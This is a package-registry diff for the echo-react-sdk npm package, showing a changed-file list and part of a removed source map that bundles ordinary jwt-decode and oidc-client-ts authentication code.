@merit-systems/echo-react-sdk 1.0.5 → 1.0.7
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/echo-react-sdk.umd.js +3 -3
- package/dist/echo-react-sdk.umd.js.map +1 -1
- package/dist/index.cjs +3 -3
- package/dist/index.cjs.map +1 -1
- package/dist/index.d.ts +16 -2
- package/dist/index.js +6851 -3904
- package/dist/index.js.map +1 -1
- package/package.json +3 -2
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"echo-react-sdk.umd.js","sources":["../../node_modules/.pnpm/jwt-decode@4.0.0/node_modules/jwt-decode/build/esm/index.js","../../node_modules/.pnpm/oidc-client-ts@3.3.0/node_modules/oidc-client-ts/dist/esm/oidc-client-ts.js","../../node_modules/.pnpm/dompurify@3.2.6/node_modules/dompurify/dist/purify.es.mjs","../src/utils/security.ts","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/bind.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/utils.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/AxiosError.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/toFormData.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/AxiosURLSearchParams.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/buildURL.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/InterceptorManager.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/defaults/transitional.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/platform/browser/index.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/platform/browser/classes/URLSearchParams.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/platform/browser/classes/FormData.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/platform/browser/classes/Blob.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/platform/common/utils.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/platform/index.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/formDataToJSON.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/defaults/index.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/toURLEncodedForm.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/parseHeaders.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/AxiosHeaders.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/transformData.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/cancel/isCancel.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/cancel/CanceledError.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/settle.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/progressEventReducer.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/speedometer.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/throttle.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/isURLSameOrigin.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/cookies.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/buildFullPath.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/isAbsoluteURL.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/combineURLs.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/mergeConfig.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/resolveConfig.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/adapters/xhr.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/parseProtocol.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/composeSignals.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/trackStream.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/adapters/fetch.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/adapters/adapters.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/null.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/dispatchRequest.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/env/data.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/validator.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/core/Axios.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/HttpStatusCode.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/axios.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/cancel/CancelToken.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/spread.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/lib/helpers/isAxiosError.js","../../node_modules/.pnpm/axios@1.10.0/node_modules/axios/index.js","../../node_modules/.pnpm/@merit-systems+echo-typescript-sdk@1.0.1/node_modules/@merit-systems/echo-typescript-sdk/dist/index.js","../src/components/EchoProvider.tsx","../src/hooks/useEcho.ts","../src/components/Logo.tsx","../src/components/EchoTokenPurchase.tsx","../src/hooks/useRegisterReferralCode.ts","../src/components/EchoSignIn.tsx","../src/hooks/useEchoOpenAI.ts"],"sourcesContent":["export class InvalidTokenError extends Error {\n}\nInvalidTokenError.prototype.name = \"InvalidTokenError\";\nfunction b64DecodeUnicode(str) {\n return decodeURIComponent(atob(str).replace(/(.)/g, (m, p) => {\n let code = p.charCodeAt(0).toString(16).toUpperCase();\n if (code.length < 2) {\n code = \"0\" + code;\n }\n return \"%\" + code;\n }));\n}\nfunction base64UrlDecode(str) {\n let output = str.replace(/-/g, \"+\").replace(/_/g, \"/\");\n switch (output.length % 4) {\n case 0:\n break;\n case 2:\n output += \"==\";\n break;\n case 3:\n output += \"=\";\n break;\n default:\n throw new Error(\"base64 string is not of the correct length\");\n }\n try {\n return b64DecodeUnicode(output);\n }\n catch (err) {\n return atob(output);\n }\n}\nexport function jwtDecode(token, options) {\n if (typeof token !== \"string\") {\n throw new InvalidTokenError(\"Invalid token specified: must be a string\");\n }\n options || (options = {});\n const pos = options.header === true ? 0 : 1;\n const part = token.split(\".\")[pos];\n if (typeof part !== \"string\") {\n throw new InvalidTokenError(`Invalid token specified: missing part #${pos + 1}`);\n }\n let decoded;\n try {\n decoded = base64UrlDecode(part);\n }\n catch (e) {\n throw new InvalidTokenError(`Invalid token specified: invalid base64 for part #${pos + 1} (${e.message})`);\n }\n try {\n return JSON.parse(decoded);\n }\n catch (e) {\n throw new InvalidTokenError(`Invalid token specified: invalid json for part #${pos + 1} (${e.message})`);\n }\n}\n","// src/utils/Logger.ts\nvar nopLogger = {\n debug: () => void 0,\n info: () => void 0,\n warn: () => void 0,\n error: () => void 0\n};\nvar level;\nvar logger;\nvar Log = /* @__PURE__ */ ((Log2) => {\n Log2[Log2[\"NONE\"] = 0] = \"NONE\";\n Log2[Log2[\"ERROR\"] = 1] = \"ERROR\";\n Log2[Log2[\"WARN\"] = 2] = \"WARN\";\n Log2[Log2[\"INFO\"] = 3] = \"INFO\";\n Log2[Log2[\"DEBUG\"] = 4] = \"DEBUG\";\n return Log2;\n})(Log || {});\n((Log2) => {\n function reset() {\n level = 3 /* INFO */;\n logger = nopLogger;\n }\n Log2.reset = reset;\n function setLevel(value) {\n if (!(0 /* NONE */ <= value && value <= 4 /* DEBUG */)) {\n throw new Error(\"Invalid log level\");\n }\n level = value;\n }\n Log2.setLevel = setLevel;\n function setLogger(value) {\n logger = value;\n }\n Log2.setLogger = setLogger;\n})(Log || (Log = {}));\nvar Logger = class _Logger {\n constructor(_name) {\n this._name = _name;\n }\n /* eslint-disable @typescript-eslint/no-unsafe-enum-comparison */\n debug(...args) {\n if (level >= 4 /* DEBUG */) {\n logger.debug(_Logger._format(this._name, this._method), ...args);\n }\n }\n info(...args) {\n if (level >= 3 /* INFO */) {\n logger.info(_Logger._format(this._name, this._method), ...args);\n }\n }\n warn(...args) {\n if (level >= 2 /* WARN */) {\n logger.warn(_Logger._format(this._name, this._method), ...args);\n }\n }\n error(...args) {\n if (level >= 1 /* ERROR */) {\n logger.error(_Logger._format(this._name, this._method), ...args);\n }\n }\n /* eslint-enable @typescript-eslint/no-unsafe-enum-comparison */\n throw(err) {\n this.error(err);\n throw err;\n }\n create(method) {\n const methodLogger = Object.create(this);\n methodLogger._method = method;\n methodLogger.debug(\"begin\");\n return methodLogger;\n }\n static createStatic(name, staticMethod) {\n const staticLogger = new _Logger(`${name}.${staticMethod}`);\n staticLogger.debug(\"begin\");\n return staticLogger;\n }\n static _format(name, method) {\n const prefix = `[${name}]`;\n return method ? `${prefix} ${method}:` : prefix;\n }\n /* eslint-disable @typescript-eslint/no-unsafe-enum-comparison */\n // helpers for static class methods\n static debug(name, ...args) {\n if (level >= 4 /* DEBUG */) {\n logger.debug(_Logger._format(name), ...args);\n }\n }\n static info(name, ...args) {\n if (level >= 3 /* INFO */) {\n logger.info(_Logger._format(name), ...args);\n }\n }\n static warn(name, ...args) {\n if (level >= 2 /* WARN */) {\n logger.warn(_Logger._format(name), ...args);\n }\n }\n static error(name, ...args) {\n if (level >= 1 /* ERROR */) {\n logger.error(_Logger._format(name), ...args);\n }\n }\n /* eslint-enable @typescript-eslint/no-unsafe-enum-comparison */\n};\nLog.reset();\n\n// src/utils/JwtUtils.ts\nimport { jwtDecode } from \"jwt-decode\";\nvar JwtUtils = class {\n // IMPORTANT: doesn't validate the token\n static decode(token) {\n try {\n return jwtDecode(token);\n } catch (err) {\n Logger.error(\"JwtUtils.decode\", err);\n throw err;\n }\n }\n static async generateSignedJwt(header, payload, privateKey) {\n const encodedHeader = CryptoUtils.encodeBase64Url(new TextEncoder().encode(JSON.stringify(header)));\n const encodedPayload = CryptoUtils.encodeBase64Url(new TextEncoder().encode(JSON.stringify(payload)));\n const encodedToken = `${encodedHeader}.${encodedPayload}`;\n const signature = await window.crypto.subtle.sign(\n {\n name: \"ECDSA\",\n hash: { name: \"SHA-256\" }\n },\n privateKey,\n new TextEncoder().encode(encodedToken)\n );\n const encodedSignature = CryptoUtils.encodeBase64Url(new Uint8Array(signature));\n return `${encodedToken}.${encodedSignature}`;\n }\n};\n\n// src/utils/CryptoUtils.ts\nvar UUID_V4_TEMPLATE = \"10000000-1000-4000-8000-100000000000\";\nvar toBase64 = (val) => btoa([...new Uint8Array(val)].map((chr) => String.fromCharCode(chr)).join(\"\"));\nvar _CryptoUtils = class _CryptoUtils {\n static _randomWord() {\n const arr = new Uint32Array(1);\n crypto.getRandomValues(arr);\n return arr[0];\n }\n /**\n * Generates RFC4122 version 4 guid\n */\n static generateUUIDv4() {\n const uuid = UUID_V4_TEMPLATE.replace(\n /[018]/g,\n (c) => (+c ^ _CryptoUtils._randomWord() & 15 >> +c / 4).toString(16)\n );\n return uuid.replace(/-/g, \"\");\n }\n /**\n * PKCE: Generate a code verifier\n */\n static generateCodeVerifier() {\n return _CryptoUtils.generateUUIDv4() + _CryptoUtils.generateUUIDv4() + _CryptoUtils.generateUUIDv4();\n }\n /**\n * PKCE: Generate a code challenge\n */\n static async generateCodeChallenge(code_verifier) {\n if (!crypto.subtle) {\n throw new Error(\"Crypto.subtle is available only in secure contexts (HTTPS).\");\n }\n try {\n const encoder = new TextEncoder();\n const data = encoder.encode(code_verifier);\n const hashed = await crypto.subtle.digest(\"SHA-256\", data);\n return toBase64(hashed).replace(/\\+/g, \"-\").replace(/\\//g, \"_\").replace(/=+$/, \"\");\n } catch (err) {\n Logger.error(\"CryptoUtils.generateCodeChallenge\", err);\n throw err;\n }\n }\n /**\n * Generates a base64-encoded string for a basic auth header\n */\n static generateBasicAuth(client_id, client_secret) {\n const encoder = new TextEncoder();\n const data = encoder.encode([client_id, client_secret].join(\":\"));\n return toBase64(data);\n }\n /**\n * Generates a hash of a string using a given algorithm\n * @param alg\n * @param message\n */\n static async hash(alg, message) {\n const msgUint8 = new TextEncoder().encode(message);\n const hashBuffer = await crypto.subtle.digest(alg, msgUint8);\n return new Uint8Array(hashBuffer);\n }\n /**\n * Generates a rfc7638 compliant jwk thumbprint\n * @param jwk\n */\n static async customCalculateJwkThumbprint(jwk) {\n let jsonObject;\n switch (jwk.kty) {\n case \"RSA\":\n jsonObject = {\n \"e\": jwk.e,\n \"kty\": jwk.kty,\n \"n\": jwk.n\n };\n break;\n case \"EC\":\n jsonObject = {\n \"crv\": jwk.crv,\n \"kty\": jwk.kty,\n \"x\": jwk.x,\n \"y\": jwk.y\n };\n break;\n case \"OKP\":\n jsonObject = {\n \"crv\": jwk.crv,\n \"kty\": jwk.kty,\n \"x\": jwk.x\n };\n break;\n case \"oct\":\n jsonObject = {\n \"crv\": jwk.k,\n \"kty\": jwk.kty\n };\n break;\n default:\n throw new Error(\"Unknown jwk type\");\n }\n const utf8encodedAndHashed = await _CryptoUtils.hash(\"SHA-256\", JSON.stringify(jsonObject));\n return _CryptoUtils.encodeBase64Url(utf8encodedAndHashed);\n }\n static async generateDPoPProof({\n url,\n accessToken,\n httpMethod,\n keyPair,\n nonce\n }) {\n let hashedToken;\n let encodedHash;\n const payload = {\n \"jti\": window.crypto.randomUUID(),\n \"htm\": httpMethod != null ? httpMethod : \"GET\",\n \"htu\": url,\n \"iat\": Math.floor(Date.now() / 1e3)\n };\n if (accessToken) {\n hashedToken = await _CryptoUtils.hash(\"SHA-256\", accessToken);\n encodedHash = _CryptoUtils.encodeBase64Url(hashedToken);\n payload.ath = encodedHash;\n }\n if (nonce) {\n payload.nonce = nonce;\n }\n try {\n const publicJwk = await crypto.subtle.exportKey(\"jwk\", keyPair.publicKey);\n const header = {\n \"alg\": \"ES256\",\n \"typ\": \"dpop+jwt\",\n \"jwk\": {\n \"crv\": publicJwk.crv,\n \"kty\": publicJwk.kty,\n \"x\": publicJwk.x,\n \"y\": publicJwk.y\n }\n };\n return await JwtUtils.generateSignedJwt(header, payload, keyPair.privateKey);\n } catch (err) {\n if (err instanceof TypeError) {\n throw new Error(`Error exporting dpop public key: ${err.message}`);\n } else {\n throw err;\n }\n }\n }\n static async generateDPoPJkt(keyPair) {\n try {\n const publicJwk = await crypto.subtle.exportKey(\"jwk\", keyPair.publicKey);\n return await _CryptoUtils.customCalculateJwkThumbprint(publicJwk);\n } catch (err) {\n if (err instanceof TypeError) {\n throw new Error(`Could not retrieve dpop keys from storage: ${err.message}`);\n } else {\n throw err;\n }\n }\n }\n static async generateDPoPKeys() {\n return await window.crypto.subtle.generateKey(\n {\n name: \"ECDSA\",\n namedCurve: \"P-256\"\n },\n false,\n [\"sign\", \"verify\"]\n );\n }\n};\n/**\n * Generates a base64url encoded string\n */\n_CryptoUtils.encodeBase64Url = (input) => {\n return toBase64(input).replace(/=/g, \"\").replace(/\\+/g, \"-\").replace(/\\//g, \"_\");\n};\nvar CryptoUtils = _CryptoUtils;\n\n// src/utils/Event.ts\nvar Event = class {\n constructor(_name) {\n this._name = _name;\n this._callbacks = [];\n this._logger = new Logger(`Event('${this._name}')`);\n }\n addHandler(cb) {\n this._callbacks.push(cb);\n return () => this.removeHandler(cb);\n }\n removeHandler(cb) {\n const idx = this._callbacks.lastIndexOf(cb);\n if (idx >= 0) {\n this._callbacks.splice(idx, 1);\n }\n }\n async raise(...ev) {\n this._logger.debug(\"raise:\", ...ev);\n for (const cb of this._callbacks) {\n await cb(...ev);\n }\n }\n};\n\n// src/utils/PopupUtils.ts\nvar PopupUtils = class {\n /**\n * Populates a map of window features with a placement centered in front of\n * the current window. If no explicit width is given, a default value is\n * binned into [800, 720, 600, 480, 360] based on the current window's width.\n */\n static center({ ...features }) {\n var _a, _b, _c;\n if (features.width == null)\n features.width = (_a = [800, 720, 600, 480].find((width) => width <= window.outerWidth / 1.618)) != null ? _a : 360;\n (_b = features.left) != null ? _b : features.left = Math.max(0, Math.round(window.screenX + (window.outerWidth - features.width) / 2));\n if (features.height != null)\n (_c = features.top) != null ? _c : features.top = Math.max(0, Math.round(window.screenY + (window.outerHeight - features.height) / 2));\n return features;\n }\n static serialize(features) {\n return Object.entries(features).filter(([, value]) => value != null).map(([key, value]) => `${key}=${typeof value !== \"boolean\" ? value : value ? \"yes\" : \"no\"}`).join(\",\");\n }\n};\n\n// src/utils/Timer.ts\nvar Timer = class _Timer extends Event {\n constructor() {\n super(...arguments);\n this._logger = new Logger(`Timer('${this._name}')`);\n this._timerHandle = null;\n this._expiration = 0;\n this._callback = () => {\n const diff = this._expiration - _Timer.getEpochTime();\n this._logger.debug(\"timer completes in\", diff);\n if (this._expiration <= _Timer.getEpochTime()) {\n this.cancel();\n void super.raise();\n }\n };\n }\n // get the time\n static getEpochTime() {\n return Math.floor(Date.now() / 1e3);\n }\n init(durationInSeconds) {\n const logger2 = this._logger.create(\"init\");\n durationInSeconds = Math.max(Math.floor(durationInSeconds), 1);\n const expiration = _Timer.getEpochTime() + durationInSeconds;\n if (this.expiration === expiration && this._timerHandle) {\n logger2.debug(\"skipping since already initialized for expiration at\", this.expiration);\n return;\n }\n this.cancel();\n logger2.debug(\"using duration\", durationInSeconds);\n this._expiration = expiration;\n const timerDurationInSeconds = Math.min(durationInSeconds, 5);\n this._timerHandle = setInterval(this._callback, timerDurationInSeconds * 1e3);\n }\n get expiration() {\n return this._expiration;\n }\n cancel() {\n this._logger.create(\"cancel\");\n if (this._timerHandle) {\n clearInterval(this._timerHandle);\n this._timerHandle = null;\n }\n }\n};\n\n// src/utils/UrlUtils.ts\nvar UrlUtils = class {\n static readParams(url, responseMode = \"query\") {\n if (!url) throw new TypeError(\"Invalid URL\");\n const parsedUrl = new URL(url, \"http://127.0.0.1\");\n const params = parsedUrl[responseMode === \"fragment\" ? \"hash\" : \"search\"];\n return new URLSearchParams(params.slice(1));\n }\n};\nvar URL_STATE_DELIMITER = \";\";\n\n// src/errors/ErrorResponse.ts\nvar ErrorResponse = class extends Error {\n constructor(args, form) {\n var _a, _b, _c;\n super(args.error_description || args.error || \"\");\n this.form = form;\n /** Marker to detect class: \"ErrorResponse\" */\n this.name = \"ErrorResponse\";\n if (!args.error) {\n Logger.error(\"ErrorResponse\", \"No error passed\");\n throw new Error(\"No error passed\");\n }\n this.error = args.error;\n this.error_description = (_a = args.error_description) != null ? _a : null;\n this.error_uri = (_b = args.error_uri) != null ? _b : null;\n this.state = args.userState;\n this.session_state = (_c = args.session_state) != null ? _c : null;\n this.url_state = args.url_state;\n }\n};\n\n// src/errors/ErrorTimeout.ts\nvar ErrorTimeout = class extends Error {\n constructor(message) {\n super(message);\n /** Marker to detect class: \"ErrorTimeout\" */\n this.name = \"ErrorTimeout\";\n }\n};\n\n// src/AccessTokenEvents.ts\nvar AccessTokenEvents = class {\n constructor(args) {\n this._logger = new Logger(\"AccessTokenEvents\");\n this._expiringTimer = new Timer(\"Access token expiring\");\n this._expiredTimer = new Timer(\"Access token expired\");\n this._expiringNotificationTimeInSeconds = args.expiringNotificationTimeInSeconds;\n }\n async load(container) {\n const logger2 = this._logger.create(\"load\");\n if (container.access_token && container.expires_in !== void 0) {\n const duration = container.expires_in;\n logger2.debug(\"access token present, remaining duration:\", duration);\n if (duration > 0) {\n let expiring = duration - this._expiringNotificationTimeInSeconds;\n if (expiring <= 0) {\n expiring = 1;\n }\n logger2.debug(\"registering expiring timer, raising in\", expiring, \"seconds\");\n this._expiringTimer.init(expiring);\n } else {\n logger2.debug(\"canceling existing expiring timer because we're past expiration.\");\n this._expiringTimer.cancel();\n }\n const expired = duration + 1;\n logger2.debug(\"registering expired timer, raising in\", expired, \"seconds\");\n this._expiredTimer.init(expired);\n } else {\n this._expiringTimer.cancel();\n this._expiredTimer.cancel();\n }\n }\n async unload() {\n this._logger.debug(\"unload: canceling existing access token timers\");\n this._expiringTimer.cancel();\n this._expiredTimer.cancel();\n }\n /**\n * Add callback: Raised prior to the access token expiring.\n */\n addAccessTokenExpiring(cb) {\n return this._expiringTimer.addHandler(cb);\n }\n /**\n * Remove callback: Raised prior to the access token expiring.\n */\n removeAccessTokenExpiring(cb) {\n this._expiringTimer.removeHandler(cb);\n }\n /**\n * Add callback: Raised after the access token has expired.\n */\n addAccessTokenExpired(cb) {\n return this._expiredTimer.addHandler(cb);\n }\n /**\n * Remove callback: Raised after the access token has expired.\n */\n removeAccessTokenExpired(cb) {\n this._expiredTimer.removeHandler(cb);\n }\n};\n\n// src/CheckSessionIFrame.ts\nvar CheckSessionIFrame = class {\n constructor(_callback, _client_id, url, _intervalInSeconds, _stopOnError) {\n this._callback = _callback;\n this._client_id = _client_id;\n this._intervalInSeconds = _intervalInSeconds;\n this._stopOnError = _stopOnError;\n this._logger = new Logger(\"CheckSessionIFrame\");\n this._timer = null;\n this._session_state = null;\n this._message = (e) => {\n if (e.origin === this._frame_origin && e.source === this._frame.contentWindow) {\n if (e.data === \"error\") {\n this._logger.error(\"error message from check session op iframe\");\n if (this._stopOnError) {\n this.stop();\n }\n } else if (e.data === \"changed\") {\n this._logger.debug(\"changed message from check session op iframe\");\n this.stop();\n void this._callback();\n } else {\n this._logger.debug(e.data + \" message from check session op iframe\");\n }\n }\n };\n const parsedUrl = new URL(url);\n this._frame_origin = parsedUrl.origin;\n this._frame = window.document.createElement(\"iframe\");\n this._frame.style.visibility = \"hidden\";\n this._frame.style.position = \"fixed\";\n this._frame.style.left = \"-1000px\";\n this._frame.style.top = \"0\";\n this._frame.width = \"0\";\n this._frame.height = \"0\";\n this._frame.src = parsedUrl.href;\n }\n load() {\n return new Promise((resolve) => {\n this._frame.onload = () => {\n resolve();\n };\n window.document.body.appendChild(this._frame);\n window.addEventListener(\"message\", this._message, false);\n });\n }\n start(session_state) {\n if (this._session_state === session_state) {\n return;\n }\n this._logger.create(\"start\");\n this.stop();\n this._session_state = session_state;\n const send = () => {\n if (!this._frame.contentWindow || !this._session_state) {\n return;\n }\n this._frame.contentWindow.postMessage(this._client_id + \" \" + this._session_state, this._frame_origin);\n };\n send();\n this._timer = setInterval(send, this._intervalInSeconds * 1e3);\n }\n stop() {\n this._logger.create(\"stop\");\n this._session_state = null;\n if (this._timer) {\n clearInterval(this._timer);\n this._timer = null;\n }\n }\n};\n\n// src/InMemoryWebStorage.ts\nvar InMemoryWebStorage = class {\n constructor() {\n this._logger = new Logger(\"InMemoryWebStorage\");\n this._data = {};\n }\n clear() {\n this._logger.create(\"clear\");\n this._data = {};\n }\n getItem(key) {\n this._logger.create(`getItem('${key}')`);\n return this._data[key];\n }\n setItem(key, value) {\n this._logger.create(`setItem('${key}')`);\n this._data[key] = value;\n }\n removeItem(key) {\n this._logger.create(`removeItem('${key}')`);\n delete this._data[key];\n }\n get length() {\n return Object.getOwnPropertyNames(this._data).length;\n }\n key(index) {\n return Object.getOwnPropertyNames(this._data)[index];\n }\n};\n\n// src/errors/ErrorDPoPNonce.ts\nvar ErrorDPoPNonce = class extends Error {\n constructor(nonce, message) {\n super(message);\n /** Marker to detect class: \"ErrorDPoPNonce\" */\n this.name = \"ErrorDPoPNonce\";\n this.nonce = nonce;\n }\n};\n\n// src/JsonService.ts\nvar JsonService = class {\n constructor(additionalContentTypes = [], _jwtHandler = null, _extraHeaders = {}) {\n this._jwtHandler = _jwtHandler;\n this._extraHeaders = _extraHeaders;\n this._logger = new Logger(\"JsonService\");\n this._contentTypes = [];\n this._contentTypes.push(...additionalContentTypes, \"application/json\");\n if (_jwtHandler) {\n this._contentTypes.push(\"application/jwt\");\n }\n }\n async fetchWithTimeout(input, init = {}) {\n const { timeoutInSeconds, ...initFetch } = init;\n if (!timeoutInSeconds) {\n return await fetch(input, initFetch);\n }\n const controller = new AbortController();\n const timeoutId = setTimeout(() => controller.abort(), timeoutInSeconds * 1e3);\n try {\n const response = await fetch(input, {\n ...init,\n signal: controller.signal\n });\n return response;\n } catch (err) {\n if (err instanceof DOMException && err.name === \"AbortError\") {\n throw new ErrorTimeout(\"Network timed out\");\n }\n throw err;\n } finally {\n clearTimeout(timeoutId);\n }\n }\n async getJson(url, {\n token,\n credentials,\n timeoutInSeconds\n } = {}) {\n const logger2 = this._logger.create(\"getJson\");\n const headers = {\n \"Accept\": this._contentTypes.join(\", \")\n };\n if (token) {\n logger2.debug(\"token passed, setting Authorization header\");\n headers[\"Authorization\"] = \"Bearer \" + token;\n }\n this._appendExtraHeaders(headers);\n let response;\n try {\n logger2.debug(\"url:\", url);\n response = await this.fetchWithTimeout(url, { method: \"GET\", headers, timeoutInSeconds, credentials });\n } catch (err) {\n logger2.error(\"Network Error\");\n throw err;\n }\n logger2.debug(\"HTTP response received, status\", response.status);\n const contentType = response.headers.get(\"Content-Type\");\n if (contentType && !this._contentTypes.find((item) => contentType.startsWith(item))) {\n logger2.throw(new Error(`Invalid response Content-Type: ${contentType != null ? contentType : \"undefined\"}, from URL: ${url}`));\n }\n if (response.ok && this._jwtHandler && (contentType == null ? void 0 : contentType.startsWith(\"application/jwt\"))) {\n return await this._jwtHandler(await response.text());\n }\n let json;\n try {\n json = await response.json();\n } catch (err) {\n logger2.error(\"Error parsing JSON response\", err);\n if (response.ok) throw err;\n throw new Error(`${response.statusText} (${response.status})`);\n }\n if (!response.ok) {\n logger2.error(\"Error from server:\", json);\n if (json.error) {\n throw new ErrorResponse(json);\n }\n throw new Error(`${response.statusText} (${response.status}): ${JSON.stringify(json)}`);\n }\n return json;\n }\n async postForm(url, {\n body,\n basicAuth,\n timeoutInSeconds,\n initCredentials,\n extraHeaders\n }) {\n const logger2 = this._logger.create(\"postForm\");\n const headers = {\n \"Accept\": this._contentTypes.join(\", \"),\n \"Content-Type\": \"application/x-www-form-urlencoded\",\n ...extraHeaders\n };\n if (basicAuth !== void 0) {\n headers[\"Authorization\"] = \"Basic \" + basicAuth;\n }\n this._appendExtraHeaders(headers);\n let response;\n try {\n logger2.debug(\"url:\", url);\n response = await this.fetchWithTimeout(url, { method: \"POST\", headers, body, timeoutInSeconds, credentials: initCredentials });\n } catch (err) {\n logger2.error(\"Network error\");\n throw err;\n }\n logger2.debug(\"HTTP response received, status\", response.status);\n const contentType = response.headers.get(\"Content-Type\");\n if (contentType && !this._contentTypes.find((item) => contentType.startsWith(item))) {\n throw new Error(`Invalid response Content-Type: ${contentType != null ? contentType : \"undefined\"}, from URL: ${url}`);\n }\n const responseText = await response.text();\n let json = {};\n if (responseText) {\n try {\n json = JSON.parse(responseText);\n } catch (err) {\n logger2.error(\"Error parsing JSON response\", err);\n if (response.ok) throw err;\n throw new Error(`${response.statusText} (${response.status})`);\n }\n }\n if (!response.ok) {\n logger2.error(\"Error from server:\", json);\n if (response.headers.has(\"dpop-nonce\")) {\n const nonce = response.headers.get(\"dpop-nonce\");\n throw new ErrorDPoPNonce(nonce, `${JSON.stringify(json)}`);\n }\n if (json.error) {\n throw new ErrorResponse(json, body);\n }\n throw new Error(`${response.statusText} (${response.status}): ${JSON.stringify(json)}`);\n }\n return json;\n }\n _appendExtraHeaders(headers) {\n const logger2 = this._logger.create(\"appendExtraHeaders\");\n const customKeys = Object.keys(this._extraHeaders);\n const protectedHeaders = [\n \"accept\",\n \"content-type\"\n ];\n const preventOverride = [\n \"authorization\"\n ];\n if (customKeys.length === 0) {\n return;\n }\n customKeys.forEach((headerName) => {\n if (protectedHeaders.includes(headerName.toLocaleLowerCase())) {\n logger2.warn(\"Protected header could not be set\", headerName, protectedHeaders);\n return;\n }\n if (preventOverride.includes(headerName.toLocaleLowerCase()) && Object.keys(headers).includes(headerName)) {\n logger2.warn(\"Header could not be overridden\", headerName, preventOverride);\n return;\n }\n const content = typeof this._extraHeaders[headerName] === \"function\" ? this._extraHeaders[headerName]() : this._extraHeaders[headerName];\n if (content && content !== \"\") {\n headers[headerName] = content;\n }\n });\n }\n};\n\n// src/MetadataService.ts\nvar MetadataService = class {\n constructor(_settings) {\n this._settings = _settings;\n this._logger = new Logger(\"MetadataService\");\n this._signingKeys = null;\n this._metadata = null;\n this._metadataUrl = this._settings.metadataUrl;\n this._jsonService = new JsonService(\n [\"application/jwk-set+json\"],\n null,\n this._settings.extraHeaders\n );\n if (this._settings.signingKeys) {\n this._logger.debug(\"using signingKeys from settings\");\n this._signingKeys = this._settings.signingKeys;\n }\n if (this._settings.metadata) {\n this._logger.debug(\"using metadata from settings\");\n this._metadata = this._settings.metadata;\n }\n if (this._settings.fetchRequestCredentials) {\n this._logger.debug(\"using fetchRequestCredentials from settings\");\n this._fetchRequestCredentials = this._settings.fetchRequestCredentials;\n }\n }\n resetSigningKeys() {\n this._signingKeys = null;\n }\n async getMetadata() {\n const logger2 = this._logger.create(\"getMetadata\");\n if (this._metadata) {\n logger2.debug(\"using cached values\");\n return this._metadata;\n }\n if (!this._metadataUrl) {\n logger2.throw(new Error(\"No authority or metadataUrl configured on settings\"));\n throw null;\n }\n logger2.debug(\"getting metadata from\", this._metadataUrl);\n const metadata = await this._jsonService.getJson(this._metadataUrl, { credentials: this._fetchRequestCredentials, timeoutInSeconds: this._settings.requestTimeoutInSeconds });\n logger2.debug(\"merging remote JSON with seed metadata\");\n this._metadata = Object.assign({}, metadata, this._settings.metadataSeed);\n return this._metadata;\n }\n getIssuer() {\n return this._getMetadataProperty(\"issuer\");\n }\n getAuthorizationEndpoint() {\n return this._getMetadataProperty(\"authorization_endpoint\");\n }\n getUserInfoEndpoint() {\n return this._getMetadataProperty(\"userinfo_endpoint\");\n 